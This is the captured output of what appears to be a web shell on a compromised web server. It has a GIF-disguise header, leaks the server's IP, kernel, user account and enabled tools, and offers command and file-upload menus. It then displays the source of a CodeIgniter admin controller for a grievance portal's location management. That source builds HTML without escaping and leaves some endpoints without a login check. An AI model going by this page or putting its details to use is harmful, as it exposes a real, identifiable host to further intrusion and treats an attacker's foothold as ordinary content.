GIF89a;
Server IP : 172.26.0.195 / Your IP : 18.191.97.229 Web Server : Apache System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64 User : jnclnmuac ( 1026) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/jnclnmuac/public_html/web/../grievance/sys_admin/application/controllers/admin/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php /** * Controller Class For Location Management (State/City) * * @author Softpro India Pvt. Ltd. */ defined('BASEPATH') OR exit('No direct script access allowed'); class Locations extends CI_Controller { public function __construct() { parent::__construct(); $this->load->helper('url'); $this->load->library('session'); $this->load->helper('form'); $this->load->library('form_validation'); $this->load->model("admin/LocationManagement"); } public function states() { if ($this->session->userdata('logged_in')) { $allStatesInfo = $this->LocationManagement->getAllStates(); $viewData['allStates'] = $allStatesInfo->result(); $this->load->view('admin/states', $viewData); } else { redirect("admin/"); } } public function cities() { if ($this->session->userdata('logged_in')) { $allCitiesInfo = $this->LocationManagement->getAllCities(); $viewData['allCities'] = $allCitiesInfo->result(); $this->load->view('admin/cities', $viewData); } else { redirect("admin/"); } } public function toggleStateStatus($state_id, $toUpdateStatus) { if ($this->session->userdata('logged_in')) { $stateUpdateData = array( 'id' => $state_id, 'state_status' => $toUpdateStatus ); if ($this->LocationManagement->updateStateInfo($stateUpdateData)) { $this->session->set_flashdata('successMessage', 'State Status Updated Successfully.'); redirect("admin/Locations/states"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating State Status. Try Later.'); redirect("admin/Locations/states"); } } else { redirect("admin/"); } } public function toggleCityStatus($city_id, $toUpdateStatus) { if ($this->session->userdata('logged_in')) { $cityUpdateData = array( 'id' => $city_id, 'status' => $toUpdateStatus ); if ($this->LocationManagement->updateCityInfo($cityUpdateData)) { $this->session->set_flashdata('successMessage', 'City Status Updated Successfully.'); redirect("admin/Locations/cities"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating City Status. Try Later.'); redirect("admin/Locations/cities"); } } else { redirect("admin/"); } } public function editState($state_id) { if ($this->session->userdata('logged_in')) { $stateData['state_info'] = $this->LocationManagement->getStateInfoBy($state_id)->result()[0]; $this->load->view('admin/edit_state', $stateData); } else { redirect("admin/"); } } public function updateStateInfo() { if ($this->session->userdata('logged_in')) { $this->form_validation->set_rules('stateName', 'State Name', 'required', array('required' => 'State Name Is Required.')); if ($this->form_validation->run() == FALSE) { $this->editState($this->input->post('state_id')); } else { $updateStateInfo = array( 'id' => $this->input->post('state_id'), 'name' => $this->input->post('stateName') ); if ($this->LocationManagement->updateStateInfo($updateStateInfo)) { $this->session->set_flashdata('successMessage', 'State Info Updated Successfully.'); redirect("admin/Locations/states"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating State Info. Try Later.'); redirect("admin/Locations/states"); } } } else { redirect("admin/"); } } public function editCity($city_id) { if ($this->session->userdata('logged_in')) { $cityData['city_info'] = $this->LocationManagement->getCityInfoBy($city_id)->result()[0]; $cityData['allStates'] = $this->LocationManagement->getAllStates()->result(); $this->load->view('admin/edit_city', $cityData); } else { redirect("admin/"); } } public function updateCityInfo(){ if ($this->session->userdata('logged_in')) { $this->form_validation->set_rules('cityName', 'City Name', 'required', array('required' => 'City Name Is Required.')); $this->form_validation->set_rules('state', 'State Name', 'required', array('required' => 'Please Select A State In Which This City Comes.')); if ($this->form_validation->run() == FALSE) { $this->editCity($this->input->post('city_id')); } else { $updateCityInfo = array( 'id' => $this->input->post('city_id'), 'name' => $this->input->post('cityName'), 'state_id' => $this->input->post('state') ); if ($this->LocationManagement->updateCityInfo($updateCityInfo)) { $this->session->set_flashdata('successMessage', 'City Info Updated Successfully.'); redirect("admin/Locations/cities"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating State Info. Try Later.'); redirect("admin/Locations/cities"); } } } else { redirect("admin/"); } } public function getActiveStates() { $query = $this->LocationManagement->getActiveStates(); $statesList = $query->result(); $options = "<option value=''>--Select State--</option>"; for ($i = 0; $i < (sizeof($statesList)); $i++) { $options .= "<option value=" . $statesList[$i]->state_id . ">" . $statesList[$i]->state_name . "</option>"; } $responseData = array( 'csrfName' => $this->security->get_csrf_token_name(), 'csrfHash' => $this->security->get_csrf_hash(), 'state_list' => $options ); echo json_encode($responseData); } public function getActiveCitiesByState() { $state_id = $_POST['state_id']; $query = $this->LocationManagement->getActiveCitiesByState($state_id); $cityList = $query->result(); $options = "<option value=''>-Select City-</option>"; for ($i = 0; $i < (sizeof($cityList)); $i++) { $options .= "<option value=" . $cityList[$i]->id . ">" . $cityList[$i]->name . "</option>"; } $responseData = array( 'csrfName' => $this->security->get_csrf_token_name(), 'csrfHash' => $this->security->get_csrf_hash(), 'city_list' => $options ); echo json_encode($responseData); } public function getActiveCitiesByStateForUpdate() { $state_id = $_POST['state_id']; $city_id = $_POST['city_id']; $query = $this->LocationManagement->getActiveCitiesByState($state_id); $cityList = $query->result(); $options = "<option value=''>-Select City-</option>"; for ($i = 0; $i < (sizeof($cityList)); $i++) { $selected = ($cityList[$i]->id == $city_id)?"selected":""; $options .= "<option value=" . $cityList[$i]->id . " ".$selected.">" . $cityList[$i]->name . "</option>"; } $responseData = array( 'csrfName' => $this->security->get_csrf_token_name(), 'csrfHash' => $this->security->get_csrf_hash(), 'city_list' => $options ); echo json_encode($responseData); } }